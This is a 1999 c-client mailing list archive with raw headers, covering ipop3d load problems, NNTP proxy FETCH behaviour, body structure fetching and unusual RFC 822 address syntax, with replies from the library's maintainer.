from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.06/8.9.3+UW99.08) with ESMTP id JAA07556 for ; Fri, 27 Aug 1999 09:51:18 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW99.08/8.9.3+UW99.08) with ESMTP id JAA13983; Fri, 27 Aug 1999 09:51:16 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id JAA14052; Fri, 27 Aug 1999 09:48:48 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id JAA52524 for ; Fri, 27 Aug 1999 09:47:52 -0700 Received: from mailgw1.netvision.net.il (mailgw1.netvision.net.il [194.90.1.14]) by mxu4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.08) with ESMTP id JAA04058 for ; Fri, 27 Aug 1999 09:47:51 -0700 Received: from unity-ex.icomverse.com (unity-ex.icomverse.com [199.203.140.35]) by mailgw1.netvision.net.il (8.9.3/8.9.3) with ESMTP id TAA15571 for ; Fri, 27 Aug 1999 19:47:47 +0300 Received: by UNITY-EX.QUANTUM.icomverse.com with Internet Mail Service (5.5.2448.0) id ; Fri, 27 Aug 1999 19:48:01 +0300 Message-Id: <71230E2CB02FD31181710004AC1509D70EAD42@UNITY-EX.QUANTUM.icomverse.com> Date: Fri, 27 Aug 1999 19:47:53 +0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Rubinstein, Dmitry" To: "'c-client@u.washington.edu'" Subject: RE: Ineffective ipop3d? MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I think your question belongs to the c-client mailing list rather than to imap list (which is for discussions regarding the protocol, not the specific implementation). > From: Andreas Lange [mailto:lange@student.liu.se] > Sent: Friday, August 27, 1999 11:31 AM > To: imap@u.washington.edu > Subject: Ineffective ipop3d? > > > In our system we have a mailserver (2*300 MHz Alpha running > Digital UNIX > 4.0E). We used to run Qpopper and UW imapd 4.5, but upgraded > to UW IMAP > 4.6-beta. > > After moving from qpopper to ipop3d, our system is totally swamped by > ipop3ds. The load sometimes goes up to as much as 60, caused by 40-50 > ipop3ds. With smaller number of processes the load never drops below 3 > anyway. > > As everything went smoothly before (hardly any load at all), I suppose > there is something wrong in the latest UW IMAP 4.6-Betas. Or have we > missed something when compiling? > > Or is simply ipop3d so much slower than qpopper? Then we'll have to > switch back. I'm not 100% sure that this is the reason for such high load, but ipop3d is indeed quite slow. This is probably due to one specific function with a colorfull name 'blat()'. I beleive this problem can be fixed relatively painlessly (and we have rewritten this function once faced with this problem) and then ipop3d will be almost as effective as imapd (but not quite, since there's still the issue of replacing a signle dot on a line by double dot). -- Dmitry Rubinstein From pinedev@shivax2.cac.washington.edu Mon Sep 6 06:58:53 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Mon, 6 Sep 1999 06:58:53 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id GAA13675 for ; Mon, 6 Sep 1999 06:58:52 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id GAA23677; Mon, 6 Sep 1999 06:58:50 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id GAA14757; Mon, 6 Sep 1999 06:57:08 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id GAA25518 for ; Mon, 6 Sep 1999 06:52:35 -0700 Received: from brahms.fmi.uni-passau.de (brahms.fmi.uni-passau.de [132.231.64.43]) by mxu2.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id GAA30895 for ; Mon, 6 Sep 1999 06:52:34 -0700 Received: from aruba.fmi.uni-passau.de (krinke@aruba [132.231.64.81]) by brahms.fmi.uni-passau.de (8.8.8/8.8.4) with ESMTP id PAA00841; Mon, 6 Sep 1999 15:52:29 +0200 (MET DST) Received: (from krinke@localhost) by aruba.fmi.uni-passau.de (8.8.7/8.8.7) id PAA08084; Mon, 6 Sep 1999 15:52:28 +0200 Message-Id: Date: 06 Sep 1999 15:52:28 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Jens Krinke To: c-client@u.washington.edu Subject: FETCH x RFC822 removes separating newline between nntp-header/body MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Sender: krinke@fmi.uni-passau.de X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, I try to use the proxying feature via {nntpserver/nntp}. However I have problems with my client, as the separating newline between the nntp-header and the body is lost during FETCH x RFC822: ... 1 SELECT "{nntpserver/nntp}uni-passau.misc" * OK news.rz.uni-passau.de DNEWS Version 4.2o, S0, posting OK ... 1 OK [READ-ONLY] SELECT completed 2 FETCH 1 RFC822 * 1 FETCH (RFC822 {2263} Message-ID: <336EDFF4.167EB0E7@fmi.uni-passau.de> Date: Tue, 06 May 1997 09:38:29 +0200 From: Henrik X-Mailer: Mozilla 3.0 (X11; I; SunOS 4.1.3 sun4c) MIME-Version: 1.0 Newsgroups: uni-passau.misc,uni-passau.fmi.misc,uni-passau.phil.misc,uni-passau.ktf.misc Followup-To: uni-passau.misc Subject: Zimmer in Wien zu vermieten.... Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit NNTP-Posting-Host: 132.231.1.26 Lines: 35 Path: news.rz.uni-passau.de!132.231.1.26 Xref: news.rz.uni-passau.de uni-passau.misc:2107 uni-passau.fmi.misc:973 uni-passau.phil.misc:12 uni-passau.ktf.misc:5 na ja, weiss auch nicht ob`s in passau richtig aufgehoben ist, aber dies geschieht nur auf den wunsch einer freundin von mir.... ... Any suggestions? Jens Krinke -- ______________________________________________________________________ Jens Krinke j.krinke@gmx.de +49 851 509 3096 http://www.fmi.uni-passau.de/st/staff/krinke -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Sep 6 14:42:26 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Mon, 6 Sep 1999 14:42:26 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id OAA17781 for ; Mon, 6 Sep 1999 14:42:25 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id OAA29951; Mon, 6 Sep 1999 14:42:23 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id OAA24860; Mon, 6 Sep 1999 14:41:52 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id OAA28104 for ; Mon, 6 Sep 1999 14:40:24 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu1.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id OAA05971 for ; Mon, 6 Sep 1999 14:40:24 -0700 Received: from gatecoms.gatecom.com (gatecoms.gatecom.com [209.69.206.251]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id OAA29931 for ; Mon, 6 Sep 1999 14:40:23 -0700 Received: (from ptr@localhost) by gatecoms.gatecom.com (8.8.7/8.8.7) id RAA28544; Mon, 6 Sep 1999 17:41:48 -0400 (EDT) Message-Id: Date: Mon, 6 Sep 1999 17:41:48 -0400 (EDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "J. T. Breitner" To: c-client@CAC.Washington.EDU Subject: Body Parts Revisited MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: ptr@gatecoms X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I've been pouring over the c-client documentation, looking for a way that I can (easily) retrive section information about a particular message section. For example, an encapsulated portion of a message may be reachable via mail_fetchbody(stream,msgno,sec) where msgno=foo and sec=13.1 ... but that's just the body. Is there a way to see encoding type and other data on this body section with that call, or is parsing the entire message required? -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Sep 6 15:23:07 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Mon, 6 Sep 1999 15:23:07 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id PAA18099 for ; Mon, 6 Sep 1999 15:23:06 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id PAA30547; Mon, 6 Sep 1999 15:23:04 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id PAA08750; Mon, 6 Sep 1999 15:22:25 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id PAA27270 for ; Mon, 6 Sep 1999 15:21:03 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id PAA07036 for ; Mon, 6 Sep 1999 15:21:03 -0700 Received: from ares.voicerite.com (totalcall.com [63.64.62.207]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id PAA27382 for ; Mon, 6 Sep 1999 15:21:02 -0700 Received: from ashvedov (ashvedov [192.168.1.38]) by ares.voicerite.com (8.8.3/8.8.3) with SMTP id RAA01108; Mon, 6 Sep 1999 17:11:29 -0400 Message-Id: <0bc601bef8b5$9cded1d0$2601a8c0@voicerite> Date: Mon, 6 Sep 1999 18:17:30 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Alex Shvedov" To: "J. T. Breitner" , Subject: Re: Body Parts Revisited References: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > Is there a way to see encoding type and other > data on this body section with that call, or is parsing the entire > message required? After mail_fetch_structure(stream, SeqNum, &Body, NIL) you have everything in cache, so Body->type, Body->subtype etc. are at your service. See body in mail.h for details. Message text fields in Body are empty after this - you're fetching message structure only. Yes, mail_fetch_structure fetches all headers of all (sub)parts so in this sense it fetches the whole message (no bodies, of course), but it can't be done otherwise. From pinedev@shivax2.cac.washington.edu Mon Sep 6 15:48:08 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Mon, 6 Sep 1999 15:48:08 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id PAA18262 for ; Mon, 6 Sep 1999 15:48:07 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id PAA27705; Mon, 6 Sep 1999 15:48:05 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id PAA26224; Mon, 6 Sep 1999 15:47:25 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id PAA60494 for ; Mon, 6 Sep 1999 15:45:54 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu1.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id PAA09430 for ; Mon, 6 Sep 1999 15:45:53 -0700 Received: from gatecoms.gatecom.com (gatecoms.gatecom.com [209.69.206.251]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id PAA27663 for ; Mon, 6 Sep 1999 15:45:53 -0700 Received: (from ptr@localhost) by gatecoms.gatecom.com (8.8.7/8.8.7) id SAA01776; Mon, 6 Sep 1999 18:47:19 -0400 (EDT) Message-Id: Date: Mon, 6 Sep 1999 18:47:19 -0400 (EDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "J. T. Breitner" To: c-client@CAC.Washington.EDU Subject: Re: Body Parts Revisited MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: ptr@gatecoms X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > Is there a way to see encoding type and other > data on this body section with that call, or is parsing the entire > message required? After mail_fetch_structure(stream, SeqNum, &Body, NIL) you have everything in cache, so Body->type, Body->subtype etc. are at your service. See body in mail.h for details. Message text fields in Body are empty after this - you're fetching message structure only. Yes, mail_fetch_structure fetches all headers of all (sub)parts so in this sense it fetches the whole message (no bodies, of course), but it can't be done otherwise That's what I've been doing, grabbing the structure. But it's a hassle to index down through the various parts to get to the where I need to be. Oh well, always searching for an easier way. Thanks... Jeff From pinedev@shivax2.cac.washington.edu Mon Sep 6 23:47:19 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Mon, 6 Sep 1999 23:47:18 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id XAA22560 for ; Mon, 6 Sep 1999 23:47:17 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id XAA04501; Mon, 6 Sep 1999 23:47:15 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id XAA26089; Mon, 6 Sep 1999 23:46:40 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id XAA57174 for ; Mon, 6 Sep 1999 23:44:49 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id XAA02983 for ; Mon, 6 Sep 1999 23:44:49 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (helfa@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id XAA04443 for ; Mon, 6 Sep 1999 23:44:48 -0700 Message-Id: Date: Mon, 6 Sep 1999 23:37:44 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "J. T. Breitner" Cc: c-client@CAC.Washington.EDU Subject: Re: Body Parts Revisited In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 6 Sep 1999 18:47:19 -0400 (EDT), J. T. Breitner wrote: > That's what I've been doing, grabbing the structure. But it's a hassle > to index down through the various parts to get to the where I need > to be. > > Oh well, always searching for an easier way. Since structures can nest, you have to get the entire body structure. Otherwise, you wouldn't have a clue as to what body part section specifiers you can use, except by some mechanism to do it one at a time. But doing it one at a time would involve a round trip for each body part. That would result in a clunky (and slow!) client. In other words, there's no good reason for such a feature to exist. It may seem otherwise at first, but if you think it through, you'll see that what appears to be "easy" on the surface is really a bad idea. There's usually a good reason why things were done the way they were (although there are a few mistakes...). It's not always obvious -- especially if you're just starting -- why some things were done that way. But please feel free to keep on asking. Remember, the only "stupid question" is the one that isn't asked! From pinedev@shivax2.cac.washington.edu Tue Sep 7 00:57:36 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Tue, 7 Sep 1999 00:57:35 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id AAA23244 for ; Tue, 7 Sep 1999 00:57:34 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id AAA02226; Tue, 7 Sep 1999 00:57:33 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id AAA21094; Tue, 7 Sep 1999 00:56:57 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id AAA21452 for ; Tue, 7 Sep 1999 00:56:17 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (rogue@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu1.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id AAA08002 for ; Tue, 7 Sep 1999 00:56:16 -0700 Message-Id: Date: Tue, 7 Sep 1999 00:48:30 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Jens Krinke Cc: c-client@u.washington.edu Subject: re: FETCH x RFC822 removes separating newline between nntp-header/body In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On 06 Sep 1999 15:52:28 +0200, Jens Krinke wrote: > I try to use the proxying feature via {nntpserver/nntp}. However I > have problems with my client, as the separating newline between the > nntp-header and the body is lost during FETCH x RFC822: This problem is fixed in the latest ftp://ftp.cac.washington.edu/mail/imap-4.6.BETA.tar.Z However, please note that use of "FETCH x RFC822" is the earmark of a poorly written IMAP client program. There is almost never a reason to use this command. It is very likely that if you are using this command, you are using IMAP improperly and suboptimally. Yes, certain well-known vendors have inflicted such poorly-designed IMAP clients on the world, but we don't have to repeat their mistakes! Please review your implementation strategy. It is quite likely that instead of fetching RFC822, you should be using overviews and/or ENVELOPE and BODYSTRUCTURE, along with selective body part fetching. From pinedev@shivax2.cac.washington.edu Tue Sep 7 04:11:44 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Tue, 7 Sep 1999 04:11:44 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id EAA28808 for ; Tue, 7 Sep 1999 04:11:43 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id EAA08280; Tue, 7 Sep 1999 04:11:41 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id EAA20000; Tue, 7 Sep 1999 04:11:10 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id EAA35940 for ; Tue, 7 Sep 1999 04:10:28 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu1.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id EAA15483 for ; Tue, 7 Sep 1999 04:10:28 -0700 Received: from gatecoms.gatecom.com (gatecoms.gatecom.com [209.69.206.251]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id EAA05052 for ; Tue, 7 Sep 1999 04:10:27 -0700 Received: (from ptr@localhost) by gatecoms.gatecom.com (8.8.7/8.8.7) id HAA03799; Tue, 7 Sep 1999 07:11:53 -0400 (EDT) Message-Id: Date: Tue, 7 Sep 1999 07:11:53 -0400 (EDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "J. T. Breitner" To: c-client@CAC.Washington.EDU Subject: Re: Body Parts Revisited MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: ptr@gatecoms X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN >Since structures can nest, you have to get the entire body structure. >Otherwise, you wouldn't have a clue as to what body part section >specifiers you can use, except by some mechanism to do it one at a time. This I found out after a long evening of very indepth goofing around with it. I learned exactly what you're doing with the library after a while, and now see how it does not make any sense to access the mail folder for this data more than once, which can certainly happen in imap fashion (although my application is not nearly as intense). >if you think it through, you'll see that what appears to be "easy" on >the surface is really a bad idea. Hey, can't blame a guy for trying it the easy way first... >There's usually a good reason why things were done the way they were >(although there are a few mistakes...). It's not always obvious -- >especially if you're just starting -- why some things were done that way. But please feel free >to keep on asking. Remember, the only "stupid question" is the one that >isn't asked! Well, to me it wasn't completely obvious. It took some experimenting. It rained all of labor day anyway, what else was there to do? Thanks for the help... Jeff From pinedev@shivax2.cac.washington.edu Thu Sep 9 03:48:07 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Thu, 9 Sep 1999 03:48:07 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id DAA19133 for ; Thu, 9 Sep 1999 03:48:06 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id DAA01694; Thu, 9 Sep 1999 03:48:04 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.08) with SMTP id DAA12259; Thu, 9 Sep 1999 03:47:28 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.08) with ESMTP id DAA27240 for ; Thu, 9 Sep 1999 03:45:51 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu4.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id DAA17410 for ; Thu, 9 Sep 1999 03:45:51 -0700 Received: from relay1.mail.uk.psi.net (relay1.mail.uk.psi.net [154.32.105.6]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id DAA05341 for ; Thu, 9 Sep 1999 03:45:47 -0700 Received: from voc_fs1.vocalis.com ([195.152.18.3] helo=vocalis.com) by relay1.mail.uk.psi.net with smtp (Exim 2.12 #2) id 11P1hI-0002qV-00 for c-client@cac.washington.edu; Thu, 9 Sep 1999 11:44:56 +0100 Received: from Vocalis-Message_Server by vocalis.com with Novell_GroupWise; Thu, 09 Sep 1999 11:20:36 +0100 Message-Id: Date: Thu, 09 Sep 1999 11:20:07 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Edmund GRIMLEY-EVANS" To: c-client@CAC.Washington.EDU Subject: unpleasant e-mail addresses Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN RFC 822 seems to allow some ghastly things like From: x."@@".\.@a.[1 2 3].com (Using quoted-strings in the local-part and domain-literals in the = domain.) Have these things ever been officially disallowed or discouraged? Does c-client try to support them? Is it guaranteed anywhere that different ways of quoting or escaping are to be treated as equivalent, for example, that the following strings specify the same mailbox? To: \@@abc.edu To: "@"@abc.edu Or even: To: \..".."@abc.edu To: \.\.."."@abc.edu To: "...."@abc.edu ...etc... Edmund From pinedev@shivax2.cac.washington.edu Thu Sep 9 06:18:26 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Thu, 9 Sep 1999 06:18:26 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id GAA21741 for ; Thu, 9 Sep 1999 06:18:24 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id GAA04124; Thu, 9 Sep 1999 06:18:23 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.08) with SMTP id GAA27940; Thu, 9 Sep 1999 06:17:43 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.08) with ESMTP id GAA58572 for ; Thu, 9 Sep 1999 06:16:36 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu3.u.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id GAA30104 for ; Thu, 9 Sep 1999 06:16:36 -0700 Received: from gatecoms.gatecom.com (gatecoms.gatecom.com [209.69.206.251]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id GAA07776 for ; Thu, 9 Sep 1999 06:16:35 -0700 Received: (from ptr@localhost) by gatecoms.gatecom.com (8.8.7/8.8.7) id JAA13967; Thu, 9 Sep 1999 09:18:02 -0400 (EDT) Message-Id: Date: Thu, 9 Sep 1999 09:18:01 -0400 (EDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "J. T. Breitner" To: c-client@CAC.Washington.EDU Subject: RE: unpleasant e-mail addresses MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: ptr@gatecoms X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN >RFC 822 seems to allow some ghastly things like > >From: x."@@".\.@a.[1 2 3].com > >(Using quoted-strings in the local-part and domain-literals in the = >domain.) > >Have these things ever been officially disallowed or discouraged? > >Does c-client try to support them? I might add, that these ghastly things cause an immediate denial of service to a few Microsoft mail products. Very early releases of Outlook along with the ubiquitous "Exchange" as seen with Win95 suffer tremendously from their use. I learned this the hard way when someone sent out a mass email to one of my clients (200+ workstations) and virtually shut-down the email system. Spammers tend to munge their mail with these things from time-to-time, causing problems. The point is, even if c-client supports it, be aware that many popular (albiet substandard) mail clients barf with the use. From pinedev@shivax2.cac.washington.edu Thu Sep 9 10:41:44 1999 -0700 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Thu, 9 Sep 1999 10:41:44 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA26349 for ; Thu, 9 Sep 1999 10:41:43 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA14528; Thu, 9 Sep 1999 10:41:41 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by 